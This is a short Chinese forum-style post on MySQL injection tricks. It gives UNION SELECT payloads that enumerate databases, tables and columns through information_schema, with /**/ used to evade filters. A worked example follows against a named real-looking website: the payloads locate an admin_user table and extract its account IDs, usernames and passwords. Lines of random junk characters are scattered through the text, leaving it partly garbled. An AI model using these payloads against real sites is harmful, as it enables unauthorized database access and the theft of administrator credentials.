mysql注入技巧

admin

查库
: G; P& x" b2 G/ f9 O8 F9 O
; p5 j/ z6 w; g+ @7 w8 Jid=-1 union select 1,..,SCHEMA_NAME,n  from/**/information_schema.SCHEMATA limit 1,1/*

2 j8 i' f$ f2 h" p  J查表
, X% K) [7 w8 Z$ K) y+ G
! M2 |0 N1 ~' h. A+ D2 V8 B5 jid=-1/**/union/**/select/**/1,TABLE_NAME,N/**/from/**/information_schema.TABLES/**/where/**/TABLE_SCHEMA=库的HEX值/**/limit/**/1,1
7 f; P1 z1 X- ]3 F' S
5 ~' ^) I. e; m  x) ^# N查段
4 i4 j$ a( v' w3 ?# H
id=-1/**/union/**/select/**/1,COLUMN_NAME,N/**/from/**/information_schema.COLUMNS/**/where/**/TABLE_NAME=表的HEX值/**/limit/**/1,1


mysql5高级注入方法暴表
" e0 l( A  C; R$ O8 U
9 O* x* T4 l+ c# \% A+ q例子如下:

, |9 T& H& x, N8 H! D9 o$ G1.爆表
http://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,TABLE_NAME,5/**/From/**/information_schema.TABLES/**/Where/**/TABLE_SCHEMA=0x79645F7465616D6E6574/**/limit/**/0,1/*    (0x79645F7465616D6E6574为数据库名的16进制转换yd_teamnet)
这样爆到第4个时出现了admin_user表。

2 C8 i1 O$ B9 y/ O5 P0 z) J9 l  A2.暴字段
http://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,COLUMN_NAME,5/**/From/**/information_schema.COLUMNS/**/Where/**/TABLE_NAME=0x61646D696E5F75736572/**/And/**/TABLE_SCHEMA=0x79645F7465616D6E6574/**/limit/**/0,1/*
& n8 W" Y- n' u/ P% _. [- W
# k+ l" K0 Y+ h! p7 ^9 ~) L! N
3.爆密码
4 a  P8 x0 p3 m# N; m; \0 Ohttp://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,concat(0x7c,ID,0x7c,ACCOUNT,0x7c,PASSWORD,0x7c),5/**/From/**/admin_user/**/limit/**/0,1/*

4 x/ O& c. z* F, ^# G+ W4 M
6 \3 z+ N2 _6 |( p/ V) y/ b